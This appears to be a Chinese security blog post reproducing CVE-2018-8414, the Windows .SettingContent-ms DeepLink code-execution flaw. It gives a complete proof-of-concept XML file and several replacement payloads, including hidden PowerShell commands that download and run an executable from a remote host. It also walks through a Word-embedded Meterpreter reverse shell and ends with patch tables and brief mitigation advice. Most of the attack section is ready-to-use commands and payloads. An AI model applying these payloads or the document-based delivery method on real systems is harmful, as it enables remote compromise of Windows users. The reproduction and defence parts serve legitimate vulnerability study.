Windows Shell远程执行代码漏洞(（CVE-2018-8414）复现

忘是亡心i 2024-04-07 10:56 40阅读 0赞

### 0x00 SettingContent-ms文件介绍 ###

###  ###

.SettingContent-ms是在Windows 10中引入的一种文件类型，它的内容是XML格式进行编写的，主要用于创建Windows设置页面的快捷方式.Windows 10下行.SettingContent-ms后缀的文件，系统并未判断该类文件所在的路径是否在控制面板相关目录下，便直接执行了文件中用于控制面板设置相关的深层链接标签指定的任意程序，导致用户执行系统任意目录下的此类文件或者从网络上下载的经过精心设计的.SettingContent-ms文件也会直接执行其中指定的恶意程序对象，导致任意代码执行.

文件包含一个<DeepLink>标记，它带有带参数的任何二进制文件并执行它。这可能会导致问题，因为攻击者可以使用指向二进制文件(如cmd.exe或PowerShell.exe)的DeepLink元素创建.SettingContent-ms文件，该文件为其提供shell命令执行。

### 0x01 Windows Defender AV ASR Rules ###

Windows Defender AV ASR Rules主要是为了解决防止漏洞利用恶意软件感染计算机和应用程序，它是在Windows 10, version 1709 and later和Windows Server 2016中引入的，所有说之前的Windows Defender版本是没有ASR Rules的。

从以下版本开始：Windows 10版本1703到1803 和Windows Server版本1709到1803如下图显示是Windows Defender AV ASR Rules自带了AttackSurfaceReductionRules\_Ids功能规则。

![7b9fd8d9d8250b6f62d8a353a1cdc231.jpeg][]

![dba5656423734242ed2bebf51a5a1f79.jpeg][]

而在低于该版本的10240中，Windows Defender AV ASR Rules是没有带AttackSurfaceReductionRules\_Ids

![49f977fba369969456fcf0465027b228.jpeg][]

注意：某些时候漏洞利用失败取决于文件位置(默认策略设置)，因此只需要将POC文件复制到如下目录下就可以执行。(如果改变默认路径可以通过下载[https://github.com/joesecurity/scmwrap/blob/master/scmwrap.exe通过管理员权限下去命令执行 scmwrap.exe][https_github.com_joesecurity_scmwrap_blob_master_scmwrap.exe_ scmwrap.exe] \-install)

C:\\Users\\\[USER\]\\AppData\\Local\\Packages\\windows.immersivecontrolpanel\_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\\[LANGUAGE\]\\

### 0x02 漏洞复现 ###

### 1.简单的测试弹出计算器 ###

1.将测试poc文件放入以下目录位置：

C:\\Users\\admin(用户)

\\AppData\\Local\\Packages\\windows.immersivecontrolpanel\_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\zh-CN\\目录下

![fea5900a5da32700ee8d78907cd2be40.jpeg][]

2. 点击测试POC文件：

<?xml version="1.0" encoding="UTF-8"?>
 
 <PCSettings>
 
 <SearchableContent xmlns="http://schemas.microsoft.com/Search/2013/SettingContent">
 
 <ApplicationInformation>
 
 <AppID>windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel</AppID>
 
 <DeepLink>%windir%\system32\cmd.exe /c calc.exe</DeepLink>
 
 <Icon>%windir%\system32\control.exe</Icon>
 
 </ApplicationInformation>
 
 <SettingIdentity>
 
 <PageID></PageID>
 
 <HostID>{12B1697E-D3A0-4DBC-B568-CCF64A3F934D}</HostID>
 
 </SettingIdentity>
 
 <SettingInformation>
 
 <Description>@shell32.dll,-4161</Description>
 
 <Keywords>@shell32.dll,-4161</Keywords>
 
 </SettingInformation>
 
 </SearchableContent>
 
 </PCSettings>

其他<DeepLink>…</DeepLink>可替换POC:

1.  %windir%\system32\cmd.exe /c "C:\Program Files\Internet Explorer\iexplore.exe" -k https://www.backlion.org/

2.   %SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe -wind hidden -noni -nop -nologo -Comm "(New-Object System.Net.WebClient).DownloadFile('http://192.168.225.129/pwn.exe', $Env:AppData+'\svrcheck.exe'); Start-Process $Env:AppData'\svrcheck.exe'; Exit-PSSession;"

3.  powershell-windowstyle  hiddle  (New-ObjectSystem.Net.WebClient)DownloadFile('https://www.xxx.com/test.exe',%APPDATA%\Rundll32.exe');Start-Process '%APPDATA%\Rundll32.exe'

4.  wmic os get /format:"https://gist.githubusercontent.com/caseysmithrc/68924cabbeca1285d2941298a5b91c24/raw/78065ca63504c9a0f41107137fbe861de487e4d4/minimalist"

3. 点击test. [settingcontent-MS][],即可弹出calc

![c5159002531272f8db65246dc25df065.jpeg][]

### 2.嵌入到**office**中弹出计算器 ###

1.创建一个word，这里我就拿offcie 2007来当例子

2.点插入\-对象-选择由文件创建

![屏幕快照 2018-08-30 下午11.39.43.png][2018-08-30 _11.39.43.png]

4. 双击图标后即可打开即可弹出计算器、

![aa15801b8aa9cab2763a3c3dff8e36e1.jpeg][]

### 3.kali下反弹**shell** ###

利用脚本下载地址：

[https://raw.githubusercontent.com/backlion/demo/master/auto\_settingcontent-ms.py][https_raw.githubusercontent.com_backlion_demo_master_auto_settingcontent-ms.py]

1.在KALI下执行脚本auto\_settingcontent-ms.py,并填上监听IP地址(KALI本机主机IP)和端口

root@kali2018:/opt# python auto_settingcontent-ms.py

![8db1882b45df487018be2d2472ca655b.jpeg][]

2.会在当前目录下生成一个Test.SettingContent-ms以及将生成的LICENSE.txt自动拷贝到/var/www/html目录下。

![9fe66b80d9f2a73f67f69f66fe043655.jpeg][]

![89906df32c4bdff34c5a0d642d42a31f.jpeg][]

5.开启apache服务。

root@kali2018:/opt# service apache2 start

![9a86341c63d4e8cc2c9e4210dbf6934d.jpeg][]

6.启动msf，然后进行设置IP地址和监听端口以及payload

msf > use exploit/multi/handler
    
    msf exploit(multi/handler) > set payload    windows/meterpreter/reverse_https
    
    msf exploit(multi/handler) > show options
    
    msf exploit(multi/handler) > set lhost     10.250.117.10
    
    msf exploit(multi/handler) > set lport     5555
    
    msf exploit(multi/handler) > exploit

![439f39692c533dc8fbd7648c26d85d3a.jpeg][]

![bae4f3364d5c311c9486f8333858166f.jpeg][]

7.将生成的Test.SettingContent-ms拷贝出来，然后新建一个test.doc文档，通过插入数据

![5dc66510eaf4e0d46ce281b4f468ef52.jpeg][]![77e14b3e1b85c8bbc78444796d00ff17.jpeg][]

![29597edae7ec106c673efd0a43566c29.jpeg][]

8.然后点击保持test.docx，并打开该文档点击图标即可反弹。

![05499e303ed14cab868d9652b9f59c68.jpeg][]

9.可以看到kali下反弹目标系统shell.

![8c20498271438093e6667bd7219cdc5c.jpeg][]

![6010848e0b0fcf0d63902b6d30dd2bd1.jpeg][]

### 0x03 漏洞影响版本 ###

<table> 
 <tbody> 
 <tr> 
 <td> 适用于32位系统的Windows 10版本1703 </td> 
 <td>&nbsp;</td> 
 <td> <a href="https://support.microsoft.com/help/4343885" rel="nofollow">4343885</a> </td> 
 <td> <a href="https://catalog.update.microsoft.com/v7/site/Search.aspx?q=KB4343885" rel="nofollow">安全更新</a> </td> 
 <td> 远程执行代码 </td> 
 <td> 重要 </td> 
 <td colspan="2"> 4338826 </td> 
 </tr> 
 <tr> 
 <td> 适用于基于x64的系统的Windows 10版本1703 </td> 
 <td>&nbsp;</td> 
 <td> <a href="https://support.microsoft.com/help/4343885" rel="nofollow">4343885</a> </td> 
 <td> <a href="https://catalog.update.microsoft.com/v7/site/Search.aspx?q=KB4343885" rel="nofollow">安全更新</a> </td> 
 <td> 远程执行代码 </td> 
 <td> 重要 </td> 
 <td colspan="2"> 4338826 </td> 
 </tr> 
 <tr> 
 <td> 适用于32位系统的Windows 10版本1709 </td> 
 <td>&nbsp;</td> 
 <td> <a href="https://support.microsoft.com/help/4343897" rel="nofollow">4343897</a> </td> 
 <td> <a href="https://catalog.update.microsoft.com/v7/site/Search.aspx?q=KB4343897" rel="nofollow">安全更新</a> </td> 
 <td> 远程执行代码 </td> 
 <td> 重要 </td> 
 <td colspan="2"> 4338825 </td> 
 </tr> 
 <tr> 
 <td> 适用于64位系统的Windows 10版本1709 </td> 
 <td>&nbsp;</td> 
 <td> <a href="https://support.microsoft.com/help/4343897" rel="nofollow">4343897</a> </td> 
 <td> <a href="https://catalog.update.microsoft.com/v7/site/Search.aspx?q=KB4343897" rel="nofollow">安全更新</a> </td> 
 <td> 远程执行代码 </td> 
 <td> 重要 </td> 
 <td colspan="2"> 4338825 </td> 
 </tr> 
 <tr> 
 <td> 用于32位系统的Windows 10版本1803 </td> 
 <td>&nbsp;</td> 
 <td> <a href="https://support.microsoft.com/help/4343909" rel="nofollow">4343909</a> </td> 
 <td> <a href="https://catalog.update.microsoft.com/v7/site/Search.aspx?q=KB4343909" rel="nofollow">安全更新</a> </td> 
 <td> 远程执行代码 </td> 
 <td> 重要 </td> 
 <td colspan="2"> 4338819 </td> 
 </tr> 
 <tr> 
 <td> 适用于基于x64的系统的Windows 10版本1803 </td> 
 <td>&nbsp;</td> 
 <td> <a href="https://support.microsoft.com/help/4343909" rel="nofollow">4343909</a> </td> 
 <td> <a href="https://catalog.update.microsoft.com/v7/site/Search.aspx?q=KB4343909" rel="nofollow">安全更新</a> </td> 
 <td> 远程执行代码 </td> 
 <td> 重要 </td> 
 <td> 4338819 </td> 
 <td> </td> 
 </tr> 
 <tr> 
 <td> Windows Server，版本1709(服务器核心安装) </td> 
 <td>&nbsp;</td> 
 <td> <a href="https://support.microsoft.com/help/4343897" rel="nofollow">4343897</a> </td> 
 <td> <a href="https://catalog.update.microsoft.com/v7/site/Search.aspx?q=KB4343897" rel="nofollow">安全更新</a> </td> 
 <td> 远程执行代码 </td> 
 <td> 重要 </td> 
 <td> 4338825 </td> 
 <td> </td> 
 </tr> 
 <tr> 
 <td> Windows Server，版本1803(服务器核心安装) </td> 
 <td>&nbsp;</td> 
 <td> <a href="https://support.microsoft.com/help/4343909" rel="nofollow">4343909</a> </td> 
 <td> <a href="https://catalog.update.microsoft.com/v7/site/Search.aspx?q=KB4343909" rel="nofollow">安全更新</a> </td> 
 <td> 远程执行代码 </td> 
 <td> 重要 </td> 
 <td> 4338819 </td> 
 <td> </td> 
 </tr> 
 </tbody> 
</table>

### 0x04 漏洞防御建议 ###

最好在防火墙和/或电子邮件网关阻止.SettingContent-ms文件通过执行。此外，可能还需要考虑使用组策略强制.SettingContent-ms禁止在记事本中打开([https://montour.co/2016/09/group-policy-force-js-files/][https_montour.co_2016_09_group-policy-force-js-files])。

### 0x05 参考链接 ###

[https://www.t00ls.net/thread-47622-1-1.html][https_www.t00ls.net_thread-47622-1-1.html]

[https://hk.saowen.com/a/18ea08a24efd7d58c9d24ce69cad41aac8e1535026d266a3e6ced826d777a341][https_hk.saowen.com_a_18ea08a24efd7d58c9d24ce69cad41aac8e1535026d266a3e6ced826d777a341]

[https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39][https_posts.specterops.io_the-tale-of-settingcontent-ms-files-f1ea253e4d39]

[https://github.com/joesecurity/scmwrap][https_github.com_joesecurity_scmwrap]

[https://github.com/SScyber0/Deeplink\_Reverse\_TCP][https_github.com_SScyber0_Deeplink_Reverse_TCP]

[7b9fd8d9d8250b6f62d8a353a1cdc231.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/ed919644660e459eb42ecf56dbaf89d3.jpeg
[dba5656423734242ed2bebf51a5a1f79.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/7f5a67c22a7e4e40bbb58a05ee9fc8cd.jpeg
[49f977fba369969456fcf0465027b228.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/9879e48a743942ada24cd668c301721c.jpeg
[https_github.com_joesecurity_scmwrap_blob_master_scmwrap.exe_ scmwrap.exe]: https://github.com/joesecurity/scmwrap/blob/master/scmwrap.exe%E9%80%9A%E8%BF%87%E7%AE%A1%E7%90%86%E5%91%98%E6%9D%83%E9%99%90%E4%B8%8B%E5%8E%BB%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%20scmwrap.exe
[fea5900a5da32700ee8d78907cd2be40.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/99f9c18662524b7ead6479f7450f840f.jpeg
[settingcontent-MS]: https://github.com/wherethef2ckisr0da/CVE-2018-8414-POC/blob/master/poc.settingcontent-ms
[c5159002531272f8db65246dc25df065.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/49e5c89d35dc4a52bb9fb5355903fb47.jpeg
[2018-08-30 _11.39.43.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/e0b7c68e45bf4d0da5685c367a461e0a.jpeg
[aa15801b8aa9cab2763a3c3dff8e36e1.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/b3a8942703f74a26b1de40938a6e48a7.jpeg
[https_raw.githubusercontent.com_backlion_demo_master_auto_settingcontent-ms.py]: https://raw.githubusercontent.com/backlion/demo/master/auto_settingcontent-ms.py
[8db1882b45df487018be2d2472ca655b.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/f0b80c2c1cfc495e945d850662467d55.jpeg
[9fe66b80d9f2a73f67f69f66fe043655.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/fdebce99ae944d1bbfbea300414ad48c.jpeg
[89906df32c4bdff34c5a0d642d42a31f.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/aef03f34d71c409e8fea8390c02cacdf.jpeg
[9a86341c63d4e8cc2c9e4210dbf6934d.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/3677c81752f54874a3f33abab5a5afc4.jpeg
[439f39692c533dc8fbd7648c26d85d3a.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/d3f7db4975c24f54ad62db09bb167cd1.jpeg
[bae4f3364d5c311c9486f8333858166f.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/b2db5b0735eb4dd495cbfc505a4c0ca9.jpeg
[5dc66510eaf4e0d46ce281b4f468ef52.jpeg]: https://img-blog.csdnimg.cn/img_convert/5dc66510eaf4e0d46ce281b4f468ef52.jpeg
[77e14b3e1b85c8bbc78444796d00ff17.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/0ada6a5bfc39473389c5c8c951f956eb.jpeg
[29597edae7ec106c673efd0a43566c29.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/c5e5817c9f49496195dd03e024ca2e8f.jpeg
[05499e303ed14cab868d9652b9f59c68.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/33b0f9238612497b93d1bd71b6c83d68.jpeg
[8c20498271438093e6667bd7219cdc5c.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/0b0f61fdc6804465b89f9531c23188f2.jpeg
[6010848e0b0fcf0d63902b6d30dd2bd1.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/99001ef4b08c423b9a2c7436efbb91f8.jpeg
[https_montour.co_2016_09_group-policy-force-js-files]: https://montour.co/2016/09/group-policy-force-js-files/
[https_www.t00ls.net_thread-47622-1-1.html]: https://www.t00ls.net/thread-47622-1-1.html
[https_hk.saowen.com_a_18ea08a24efd7d58c9d24ce69cad41aac8e1535026d266a3e6ced826d777a341]: https://hk.saowen.com/a/18ea08a24efd7d58c9d24ce69cad41aac8e1535026d266a3e6ced826d777a341
[https_posts.specterops.io_the-tale-of-settingcontent-ms-files-f1ea253e4d39]: https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39
[https_github.com_joesecurity_scmwrap]: https://github.com/joesecurity/scmwrap
[https_github.com_SScyber0_Deeplink_Reverse_TCP]: https://github.com/SScyber0/Deeplink_Reverse_TCP